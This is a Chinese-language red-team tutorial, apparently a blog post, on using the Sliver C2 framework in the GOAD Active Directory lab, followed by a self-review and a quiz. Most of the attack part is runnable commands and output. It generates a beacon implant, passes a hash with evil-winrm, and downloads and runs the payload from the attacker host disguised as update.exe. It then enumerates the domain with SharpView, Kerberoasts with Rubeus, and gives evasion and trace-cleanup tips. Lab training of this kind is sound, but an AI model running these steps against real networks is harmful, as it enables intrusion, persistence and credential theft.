前言

在前面的章節中,我們學習了 Active Directory 的各種攻擊技術,包括 Kerberoasting、AS-REP Roasting、權限提升等。今天我們要將這些技術整合起來,使用現代化的 C2 (Command and Control) 框架 - Sliver 來進行完整的紅隊演練。

與傳統的 Metasploit 或 Cobalt Strike 相比,Sliver 是一個開源、使用 Golang 編寫的 C2 框架,具有跨平台、易於擴展等特點。今天我們將在 GOAD 環境中實際操作 Sliver,體驗從初始存取到域內橫向移動的完整攻擊鏈。

什麼是 Command and Control (C2)?

C2 伺服器是一種用於在遠端電腦或網路上執行指令或二進位檔案的軟體。C2 的主要功能是提供一個集中管理系統,讓操作者(紅隊成員)可以管理對網路中其他機器的存取權限。

攻擊生命週期 (Cyber Kill Chain):

根據 Lockheed Martin 在 2011 年提出的框架,網路攻擊生命週期分為七個階段:

Sliver 簡介

Sliver 是由 BishopFox 開發的開源 C2 框架,其客戶端、伺服器和植入物(beacons/implants)都使用 Golang 編寫,使其易於跨平台編譯。

Sliver 的核心概念

• Implants (植入物): 用於在目標系統上保持存取的可執行程式
• Beacons (信標): 以固定時間間隔與 C2 伺服器通訊的模式,適合規避偵測
• Sessions (會話): 即時互動模式,指令會立即執行
• Stagers (分階段載入器): 用於載入程式碼到遠端機器的小型程式

Sliver 的優勢

1. 開源免費: 不像 Cobalt Strike 需要付費授權
2. 跨平台: 支援 Windows、Linux、macOS
3. 多種通訊協定: 支援 mTLS、HTTP(S)、DNS、WireGuard
4. Armory 擴展庫: 內建大量預編譯的 .NET 工具

環境準備

在攻擊機上安裝 Sliver

# 使用官方一鍵安裝腳本
curl https://sliver.sh/install | sudo bash

# 或者從 GitHub 下載 release
# https://github.com/BishopFox/sliver/releases

啟動 Sliver 伺服器

# 啟動 Sliver
sliver

# 如果要在背景執行
sudo systemctl enable sliver
sudo systemctl start sliver

help 可以查看有哪些指令

連接到 Sliver 客戶端

sliver-client

你應該會看到 Sliver 的控制台:

sliver >

在 GOAD 環境中的實戰演練

場景設定

假設我們已經透過某種方式(釣魚、漏洞利用等)獲得了 GOAD 環境中一台 Windows 機器的初始存取權限。我們的目標是:

1. 在目標機器上建立穩定的 C2 連線
2. 進行域內偵察
3. 收集憑證
4. 橫向移動到其他系統
5. 提升權限至域管理員

步驟 1: 生成 HTTP Beacon

首先，我們需要生成一個植入物。在 GOAD 環境中,我們假設攻擊機的 IP 是 192.168.139.138。

sliver > generate beacon --http 192.168.139.138:8080 --os windows --arch amd64 --format exe --save /tmp/payload.exe

[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 15s
[*] Implant saved to /tmp/payload.exe

參數說明:

• --http: 使用 HTTP(S) 協定,指定監聽的 IP 和埠
• --os windows: 目標作業系統
• --arch amd64: 目標架構
• --format exe: 輸出格式為 EXE 執行檔
• --save: 儲存路徑

步驟 2: 啟動 HTTP 監聽器

生成植入物後，需要啟動對應的監聽器:

sliver > http --lhost 192.168.139.138 --lport 8080

[*] Starting HTTP :8080 listener ...
[*] Successfully started job #1

驗證監聽器狀態:

sliver > jobs

 ID   Name   Protocol   Port 
==== ====== ========== ======
 1    http   tcp        8080

步驟 3: 投放植入物到目標

將生成的 payload.exe 傳輸到目標機器。

在實際環境中,可能透過:

• SMB 共享
• Web 下載
• 釣魚郵件附件
• 利用漏洞直接寫入

evil-winrm -i 192.168.139.11 \
  -u catelyn.stark \
  -H 'cba36eccfd9d949c73bc73715364aff5'

cd /tmp
ls -al /tmp/payload.exe
python3 -m http.server

在 GOAD 環境中，假設我們已經有一個初始的 shell 或 RDP 存取:

# 在目標 Windows 機器上
# 方法1: 使用 PowerShell 下載
(New-Object Net.WebClient).DownloadFile('http://192.168.139.138:8000/payload.exe', 'C:\Windows\Temp\update.exe')


# 方法2: 如果有 SMB 存取
copy \\192.168.139.138\share\payload.exe C:\Windows\Temp\update.exe

執行植入物:

C:\Windows\Temp\update.exe

步驟 4: 確認 Beacon 回連

在 Sliver 控制台,你應該會看到新的 beacon 回連:

[*] Beacon 914c20d4 HEALTHY_MARACA - 192.168.139.11:54534 (winterfell) - windows/amd64 - Thu, 09 Oct 2025 11:01:57 EDT

sliver > beacons

 ID         Name             Transport   Hostname     Username              Operating System   Last Check-In   Next Check-In
========== ================ =========== ============ ===================== ================== =============== ===============
 914c20d4   HEALTHY_MARACA   http(s)     winterfell   NORTH\catelyn.stark   windows/amd64      36s             27s

步驟 5: 與 Beacon 互動

使用 use 指令選擇要操作的 beacon:

sliver > use 914c20d4

[*] Active beacon HEALTHY_MARACA (914c20d4-0e48-4e09-8680-0f2e6ca8a52a)

sliver (HEALTHY_MARACA) > info

         Beacon ID: 914c20d4-0e48-4e09-8680-0f2e6ca8a52a
              Name: HEALTHY_MARACA
          Hostname: winterfell
              UUID: ff354d56-381b-4297-8723-7f6e01391f35
          Username: NORTH\catelyn.stark
               UID: S-1-5-21-3845383931-1370366697-225289965-1112
               GID: S-1-5-21-3845383931-1370366697-225289965-513
               PID: 4204
                OS: windows
           Version: Server 2016 build 17763 x86_64
            Locale: en-US
              Arch: amd64
         Active C2: https://192.168.139.138:8080
    Remote Address: 192.168.139.11:54534
         Proxy URL:
          Interval: 1m0s
            Jitter: 30s
     First Contact: Thu Oct  9 11:01:57 EDT 2025 (1m29s ago)
      Last Checkin: Thu Oct  9 11:03:09 EDT 2025 (17s ago)
      Next Checkin: Thu Oct  9 11:04:36 EDT 2025 (in 1m10s)

重要: Beacon 模式是非即時的，指令會在下次回連時執行。如果需要即時互動可以升級為 session:

sliver (HEALTHY_MARACA) > interactive

[*] Using beacon's active C2 endpoint: https://192.168.139.138:8080
[*] Tasked beacon HEALTHY_MARACA (91124e22)

[*] Session 478923fe HEALTHY_MARACA - 192.168.139.11:54594 (winterfell) - windows/amd64 - Thu, 09 Oct 2025 11:05:38 EDT

步驟 6: 基本指令操作

可進入 shell 模式

sliver (HEALTHY_MARACA) > use 478923fe

[*] Active session HEALTHY_MARACA (478923fe-54ab-47de-ac78-070669325b24)

sliver (HEALTHY_MARACA) > shell

? This action is bad OPSEC, are you an adult? Yes

[*] Wait approximately 10 seconds after exit, and press <enter> to continue
[*] Opening shell tunnel (EOF to exit) ...

[*] Started remote shell with pid 1360

PS C:\Windows\Temp> whoami /all

查看 seesion

sliver > sessions

 ID         Transport   Remote Address         Hostname     Username              Operating System   Health
========== =========== ====================== ============ ===================== ================== =========
 478923fe   http(s)     192.168.139.11:54594   winterfell   NORTH\catelyn.stark   windows/amd64      [ALIVE]

查看目前使用者資訊

sliver (HEALTHY_MARACA) > whoami

Logon ID: NORTH\catelyn.stark
[*] Current Token ID: NORTH\catelyn.stark
sliver (HEALTHY_MARACA) > getprivs

Privilege Information for update.exe (PID: 4204)
------------------------------------------------

Process Integrity Level: High

Name                                            Description                                                             Attributes
====                                            ===========                                                             ==========
SeIncreaseQuotaPrivilege                        Adjust memory quotas for a process                                      Enabled, Enabled by Default
SeMachineAccountPrivilege                       Add workstations to domain                                              Enabled, Enabled by Default
SeSecurityPrivilege                             Manage auditing and security log                                        Enabled, Enabled by Default
SeTakeOwnershipPrivilege                        Take ownership of files or other objects                                Enabled, Enabled by Default
SeLoadDriverPrivilege                           Load and unload device drivers                                          Enabled, Enabled by Default
SeSystemProfilePrivilege                        Profile system performance                                              Enabled, Enabled by Default
SeSystemtimePrivilege                           Change the system time                                                  Enabled, Enabled by Default
SeProfileSingleProcessPrivilege                 Profile single process                                                  Enabled, Enabled by Default
SeIncreaseBasePriorityPrivilege                 Increase scheduling priority                                            Enabled, Enabled by Default
SeCreatePagefilePrivilege                       Create a pagefile                                                       Enabled, Enabled by Default
SeBackupPrivilege                               Back up files and directories                                           Enabled, Enabled by Default
SeRestorePrivilege                              Restore files and directories                                           Enabled, Enabled by Default
SeShutdownPrivilege                             Shut down the system                                                    Enabled, Enabled by Default
SeDebugPrivilege                                Debug programs                                                          Enabled, Enabled by Default
SeSystemEnvironmentPrivilege                    Modify firmware environment values                                      Enabled, Enabled by Default
SeChangeNotifyPrivilege                         Bypass traverse checking                                                Enabled, Enabled by Default
SeRemoteShutdownPrivilege                       Force shutdown from a remote system                                     Enabled, Enabled by Default
SeUndockPrivilege                               Remove computer from docking station                                    Enabled, Enabled by Default
SeEnableDelegationPrivilege                     Enable computer and user accounts to be trusted for delegation          Enabled, Enabled by Default
SeManageVolumePrivilege                         Perform volume maintenance tasks                                        Enabled, Enabled by Default
SeImpersonatePrivilege                          Impersonate a client after authentication                               Enabled, Enabled by Default
SeCreateGlobalPrivilege                         Create global objects                                                   Enabled, Enabled by Default
SeIncreaseWorkingSetPrivilege                   Increase a process working set                                          Enabled, Enabled by Default
SeTimeZonePrivilege                             Change the time zone                                                    Enabled, Enabled by Default
SeCreateSymbolicLinkPrivilege                   Create symbolic links                                                   Enabled, Enabled by Default
SeDelegateSessionUserImpersonatePrivilege       Obtain an impersonation token for another user in the same session      Enabled, Enabled by Default

查看網路介面

sliver (HEALTHY_MARACA) > ifconfig

+-------------------------------------------+
| Ethernet1                                 |
+-------------------------------------------+
| # | IP Addresses      | MAC Address       |
+---+-------------------+-------------------+
| 3 | 192.168.139.11/24 | 00:0c:29:39:1f:3f |
+-------------------------------------------+

+-------------------------------------------+
| Ethernet0                                 |
+-------------------------------------------+
| # | IP Addresses      | MAC Address       |
+---+-------------------+-------------------+
| 6 | 192.168.58.190/24 | 00:0c:29:39:1f:35 |
+-------------------------------------------+
1 adapters not shown.

查看系統資訊

sliver (HEALTHY_MARACA) > info

        Session ID: 478923fe-54ab-47de-ac78-070669325b24
              Name: HEALTHY_MARACA
          Hostname: winterfell
              UUID: ff354d56-381b-4297-8723-7f6e01391f35
          Username: NORTH\catelyn.stark
               UID: S-1-5-21-3845383931-1370366697-225289965-1112
               GID: S-1-5-21-3845383931-1370366697-225289965-513
               PID: 4204
                OS: windows
           Version: Server 2016 build 17763 x86_64
            Locale: en-US
              Arch: amd64
         Active C2: https://192.168.139.138:8080
    Remote Address: 192.168.139.11:54594
         Proxy URL:
Reconnect Interval: 1m0s
     First Contact: Thu Oct  9 11:05:38 EDT 2025 (13m46s ago)
      Last Checkin: Thu Oct  9 11:19:23 EDT 2025 (1s ago)

更新

sliver > update

[*] Client v1.5.43 - e116a5ec3d26e8582348a29cfd251f915ce4a405 - linux/amd64
    Compiled at 2025-02-19 14:57:36 -0500 EST
    Compiled with go version go1.20.7 linux/amd64


[*] Server v1.5.43 - e116a5ec3d26e8582348a29cfd251f915ce4a405 - linux/amd64
    Compiled at 2025-02-19 14:57:35 -0500 EST

Checking for updates ... done!

[*] No new releases.

Sliver 指令完整整理

基本操作指令

會話與 Beacon 管理

檔案系統操作

處理程序與執行操作

網路操作

Windows 權限提升與操作

後滲透與注入工具

監聽器與 C2 管理

Implant 生成與管理

擴充與整合功能

系統與多人協作

步驟 7: 域內偵察

安裝 Armory 工具

Sliver 的 Armory 提供了大量預編譯的工具:

sliver > armory

Aliases
=======
...

Extensions
==========
...

sliver > armory install seatbelt
sliver > armory install rubeus

Sliver Armory 擴充套件完整清單

Kerberos 與 AD 認證攻擊

AD 網域偵察與列舉

憑證與密碼竊取

處理程序注入與繞過技術

系統偵察（Situational Awareness）

橫向移動

權限提升與持久化

遠端操作工具（Remote Ops）

其他專業工具

套件組合（Bundles）

安裝建議

# 安裝單一套件
armory install <套件名稱>

# 例如：安裝 mimikatz
armory install mimikatz

# 安裝整個組合
armory install <組合名稱>

# 例如：安裝所有 Kerberos 工具
armory install kerberos

使用 Seatbelt 進行系統枚舉

sliver (HEALTHY_MARACA) > seatbelt WindowsFirewall


====== WindowsFirewall ======

Collecting Windows Firewall Non-standard Rules


Location                     : SOFTWARE\Policies\Microsoft\WindowsFirewall

Location                     : SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy

Domain Profile
    Enabled                  : False
    DisableNotifications     : True
    DefaultInboundAction     : ALLOW
    DefaultOutboundAction    : ALLOW

Public Profile
    Enabled                  : False
    DisableNotifications     : True
    DefaultInboundAction     : ALLOW
    DefaultOutboundAction    : ALLOW

Standard Profile
    Enabled                  : False
    DisableNotifications     : True
    DefaultInboundAction     : ALLOW
    DefaultOutboundAction    : ALLOW



[*] Completed collection in 0.098 seconds


sliver (HEALTHY_MARACA) > seatbelt AutoRuns

[*] seatbelt output:


====== AutoRuns ======


  HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run :
    C:\Windows\system32\SecurityHealthSystray.exe
    "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr


[*] Completed collection in 0.014 seconds

Seatbelt 可用命令清單

典型使用場景組合:

初始偵察階段

seatbelt OSInfo AntiVirus WindowsFirewall Hotfixes

目的: 了解系統環境、防護措施、補丁狀態

權限提升準備

seatbelt LocalUsers LocalGroups Services ScheduledTasks AutoRuns

目的: 尋找可利用的服務、任務、弱權限設定

橫向移動準備

seatbelt NetworkShares MappedDrives ARPTable DNSCache LogonSessions

目的: 發現內網資源、其他主機、已登入使用者

防禦規避

seatbelt InterestingProcesses Processes WindowsFirewall PowerShell

目的: 識別威脅、了解防護機制、規劃繞過策略

使用 PowerView 進行域偵察

sudo git clone https://github.com/Flangvik/SharpCollection.git /opt/SharpCollection


ls /opt/SharpCollection/NetFramework_4.7_Any/SharpView.exe

在 Sliver 中執行 PowerView 指令:

sliver (HEALTHY_MARACA) > execute-assembly /opt/SharpCollection/NetFramework_4.7_Any/SharpView.exe Get-Domain

[*] Output:
Forest                         : sevenkingdoms.local
DomainControllers              : {winterfell.north.sevenkingdoms.local}
Children                       : {}
DomainMode                     : Unknown
DomainModeLevel                : 7
Parent                         : sevenkingdoms.local
PdcRoleOwner                   : winterfell.north.sevenkingdoms.local
RidRoleOwner                   : winterfell.north.sevenkingdoms.local
InfrastructureRoleOwner        : winterfell.north.sevenkingdoms.local
Name                           : north.sevenkingdoms.local

枚舉域用戶

sliver (HTTP_BEACON) > execute-assembly /opt/SharpCollection/NetFramework_4.7_Any/SharpView.exe Get-NetUser

[*] Output:
objectsid                      : {S-1-5-21-3845383931-1370366697-225289965-500}
samaccounttype                 : USER_OBJECT
objectguid                     : 5ac87940-e021-4e77-9ade-41bf0936e138
useraccountcontrol             : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
accountexpires                 : 12/31/1600 4:00:00 PM
lastlogon                      : 10/7/2025 9:11:51 AM
lastlogontimestamp             : 10/7/2025 5:55:01 AM
pwdlastset                     : 9/7/2025 8:53:08 AM
lastlogoff                     : 12/31/1600 4:00:00 PM
badPasswordTime                : 10/5/2025 8:08:19 AM
name                           : Administrator
distinguishedname              : CN=Administrator,CN=Users,DC=north,DC=sevenkingdoms,DC=local
whencreated                    : 9/7/2025 4:13:37 PM
whenchanged                    : 10/7/2025 12:55:01 PM
samaccountname                 : Administrator
memberof                       : {CN=Group Policy Creator Owners,CN=Users,DC=north,DC=sevenkingdoms,DC=local, CN=Domain Admins,CN=Users,DC=north,DC=sevenkingdoms,DC=local, CN=Administrators,CN=Builtin,DC=north,DC=sevenkingdoms,DC=local}
cn                             : {Administrator}
objectclass                    : {top, person, organizationalPerson, user}
logoncount                     : 55
codepage                       : 0
objectcategory                 : CN=Person,CN=Schema,CN=Configuration,DC=sevenkingdoms,DC=local
description                    : Built-in account for administering the computer/domain
usnchanged                     : 73893
instancetype                   : 4
badpwdcount                    : 0
usncreated                     : 8196
countrycode                    : 0
primarygroupid                 : 513
lockouttime                    : 0
dscorepropagationdata          : {9/7/2025 4:42:33 PM, 9/7/2025 4:42:29 PM, 9/7/2025 4:29:21 PM, 9/7/2025 4:29:21 PM, 1/1/1601 12:00:00 AM}
logonhours                     : {255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255}
admincount                     : 1
iscriticalsystemobject         : True
...

![image](https://hackmd.io/_uploads/SkSBFUS6gx.png)

尋找有 SPN 的用戶(Kerberoasting)

sliver (HEALTHY_MARACA) > execute-assembly /opt/SharpCollection/NetFramework_4.7_Any/SharpView.exe Get-NetUser -SPN

[*] Output:
[Get-DomainSearcher] search base: LDAP://DC=north,DC=sevenkingdoms,DC=local
[Get-DomainUser] Searching for non-null service principal names
[Get-DomainUser] filter string: (&(samAccountType=805306368)(servicePrincipalName=*))
objectsid                      : {S-1-5-21-3845383931-1370366697-225289965-502}
samaccounttype                 : USER_OBJECT
objectguid                     : 7aec4ab3-b56c-416f-8fc3-ac97ddb7a2df
useraccountcontrol             : ACCOUNTDISABLE, NORMAL_ACCOUNT
accountexpires                 : NEVER
lastlogon                      : 12/31/1600 4:00:00 PM
pwdlastset                     : 9/7/2025 9:14:10 AM
lastlogoff                     : 12/31/1600 4:00:00 PM
badPasswordTime                : 10/5/2025 8:08:04 AM
name                           : krbtgt
distinguishedname              : CN=krbtgt,CN=Users,DC=north,DC=sevenkingdoms,DC=local
whencreated                    : 9/7/2025 4:14:10 PM
whenchanged                    : 10/5/2025 3:08:04 PM
samaccountname                 : krbtgt
memberof                       : {CN=Denied RODC Password Replication Group,CN=Users,DC=north,DC=sevenkingdoms,DC=local}
cn                             : {krbtgt}
objectclass                    : {top, person, organizationalPerson, user}
ServicePrincipalName           : kadmin/changepw
logoncount                     : 0
codepage                       : 0
objectcategory                 : CN=Person,CN=Schema,CN=Configuration,DC=sevenkingdoms,DC=local
description                    : Key Distribution Center Service Account
usnchanged                     : 71550
instancetype                   : 4
showinadvancedviewonly         : True
badpwdcount                    : 5
usncreated                     : 12300
countrycode                    : 0
primarygroupid                 : 513
lockouttime                    : 134041504845040788
dscorepropagationdata          : {9/7/2025 4:42:33 PM, 9/7/2025 4:42:29 PM, 9/7/2025 4:29:21 PM, 9/7/2025 4:14:10 PM, 7/14/1601 4:20:16 AM}
msds-supportedencryptiontypes  : 0
admincount                     : 1
iscriticalsystemobject         : True

步驟 8: 也可以使用 Rubeus

ls /opt/SharpCollection/NetFramework_4.7_Any/Rubeus.exe

sliver (HTTP_BEACON) > execute-assembly /opt/SharpCollection/NetFramework_4.7_Any/Rubeus.exe kerberoast /format:hashcat /nowrap

[*] Total kerberoastable users : 3


[*] SamAccountName         : sansa.stark
[*] DistinguishedName      : CN=sansa.stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
[*] ServicePrincipalName   : HTTP/eyrie.north.sevenkingdoms.local
[*] PwdLastSet             : 9/7/2025 10:32:41 AM
[*] Supported ETypes       : RC4_HMAC_DEFAULT

 [X] Error during request for SPN HTTP/eyrie.north.sevenkingdoms.local@north.sevenkingdoms.local : No credentials are available in the security package


[*] SamAccountName         : jon.snow
[*] DistinguishedName      : CN=jon.snow,CN=Users,DC=north,DC=sevenkingdoms,DC=local
[*] ServicePrincipalName   : CIFS/thewall.north.sevenkingdoms.local
[*] PwdLastSet             : 9/7/2025 10:32:52 AM
[*] Supported ETypes       : RC4_HMAC_DEFAULT

 [X] Error during request for SPN CIFS/thewall.north.sevenkingdoms.local@north.sevenkingdoms.local : No credentials are available in the security package


[*] SamAccountName         : sql_svc
[*] DistinguishedName      : CN=sql_svc,CN=Users,DC=north,DC=sevenkingdoms,DC=local
[*] ServicePrincipalName   : MSSQLSvc/castelblack.north.sevenkingdoms.local
[*] PwdLastSet             : 9/7/2025 10:32:59 AM
[*] Supported ETypes       : RC4_HMAC_DEFAULT

 [X] Error during request for SPN MSSQLSvc/castelblack.north.sevenkingdoms.local@north.sevenkingdoms.local : No credentials are available in the security package

實用技巧與注意事項

OPSEC 考量

1. 避免過多噪音
   • 使用 beacon 模式而非 session,減少網路流量
   • 調整 jitter 和 interval 參數

sliver > generate beacon --http 192.168.139.138:8080 --seconds 120 --jitter 30

2. 隱藏在合法進程中
   • 使用 execute-assembly --in-process 避免產生子進程
   • 選擇合適的犧牲進程(sacrificial process)

sliver (HTTP_BEACON) > execute-assembly --in-process /opt/tool.exe

3. 清理痕跡
   • 移除上傳的檔案
   • 清除執行記錄

sliver (HTTP_BEACON) > rm C:\\Windows\\Temp\\payload.exe

除錯技巧

1. 查看任務狀態

sliver (HTTP_BEACON) > tasks

 ID   State      Message Type   Created 
==== ========== ============== =========
 1    completed  Ls             12:30:15
 2    pending    Download       12:31:22

2. 重新連線

如果 beacon 失去連線:

sliver > jobs

# 確認監聽器還在運行
# 等待 beacon 下次回連

3. 生成除錯版本

sliver > generate beacon --debug --http 192.168.139.138:8080 --save /tmp/debug.exe

總結

今天我們學習了如何在 GOAD 環境中使用 Sliver C2 框架進行紅隊演練。從生成植入物、建立連線、域內偵察到橫向移動,我們體驗了完整的攻擊流程。

關鍵要點:

1. Sliver 是現代化、開源的 C2 框架
2. Beacon 模式適合長期潛伏,Session 模式適合互動操作
3. Armory 提供了豐富的工具生態系統
4. 內建的 pivoting 功能方便網路滲透
5. 良好的 OPSEC 意識很重要

參考資源

• Sliver 官方文檔

• Sliver Armory

• 紅隊作業手冊

📋 文章審核與測驗

1️⃣ 標題確認

現有標題：

Day 25 - 在 GOAD 環境實戰 Sliver C2 框架

✅ 標題評估： 標題清晰明確，建議保持不變。若要更吸引人可改為：

• 「Day 25 - Sliver C2 實戰：從初始存取到域控滲透」
• 「Day 25 - 開源 C2 框架 Sliver 完全攻略（GOAD 實戰）」

2️⃣ 內容正確性審核

✅ 正確的部分

1. Cyber Kill Chain 七階段描述準確
2. Sliver 核心概念（Implants、Beacons、Sessions）解釋正確
3. 指令操作範例符合實際使用情境
4. Armory 工具清單完整且分類合理
5. OPSEC 建議實用且符合紅隊操作準則

小試身手

題目 1：C2 框架基礎概念

在 Cyber Kill Chain 模型中，C2 通訊階段的主要目的是什麼？

A. 收集目標系統的漏洞資訊
B. 從目標建立到 C2 伺服器的連線以進行遠端控制
C. 在目標系統上執行有效載荷
D. 將竊取的資料外洩到攻擊者控制的伺服器

✅ 正確答案：B
解析： C2 通訊階段的核心任務是建立並維持攻擊者與受害主機之間的通訊通道，以便後續進行指令控制和資料傳輸。

題目 2：Sliver 運作模式

關於 Sliver 的 Beacon 與 Session 模式，以下敘述何者正確？

A. Beacon 模式提供即時互動，Session 模式定時回連
B. Session 模式適合長期潛伏，Beacon 模式適合即時操作
C. Beacon 模式以固定時間間隔回連，適合規避偵測
D. Session 和 Beacon 模式在功能上完全相同

✅ 正確答案：C
解析： Beacon 模式是非即時的定時回連機制（預設 60 秒），可透過 --seconds 和 --jitter 參數調整，適合長期潛伏。Session 模式則是即時互動模式。

題目 3：Sliver Armory 工具應用

若要在 AD 環境中進行 Kerberoasting 攻擊，以下哪個 Armory 工具組合最適合？

A. mimikatz + nanodump
B. rubeus + nanorobeus
C. seatbelt + sharpview
D. chisel + portbender

✅ 正確答案：B
解析： Rubeus 是專門用於 Kerberos 攻擊的工具，可執行 Kerberoasting、AS-REP Roasting 等攻擊。nanorobeus 是其 BOF（Beacon Object File）版本，更適合 C2 環境使用。

題目 4：指令操作實務

在 Sliver 中執行以下指令的主要目的是什麼？

execute-assembly --in-process /opt/tool.exe

A. 在遠端主機建立新的處理程序執行工具
B. 在目前 Beacon 處理程序內執行 .NET 組件，避免產生子處理程序
C. 將工具上傳到目標主機的記憶體中
D. 啟動一個新的 PowerShell 處理程序執行工具

✅ 正確答案：B
解析： --in-process 參數讓 .NET 組件在目前的 implant 處理程序內執行，避免建立容易被偵測的子處理程序，這是重要的 OPSEC（作業安全）技巧。

題目 5：OPSEC 最佳實踐

為了降低被 EDR（Endpoint Detection and Response）偵測的風險，以下哪種做法最不適當？

A. 使用 --jitter 30 參數為 Beacon 回連時間增加隨機性
B. 將 Beacon interval 設定為 10 秒以獲得更快的回應速度
C. 使用 migrate 指令將 implant 遷移到合法處理程序
D. 執行完畢後立即刪除上傳的工具檔案

✅ 正確答案：B
解析： 將回連間隔設為 10 秒會產生頻繁且規律的網路流量，容易被 EDR 識別為異常行為。正確做法應該是設定較長的間隔（如 60-300 秒）並配合 jitter 參數增加隨機性。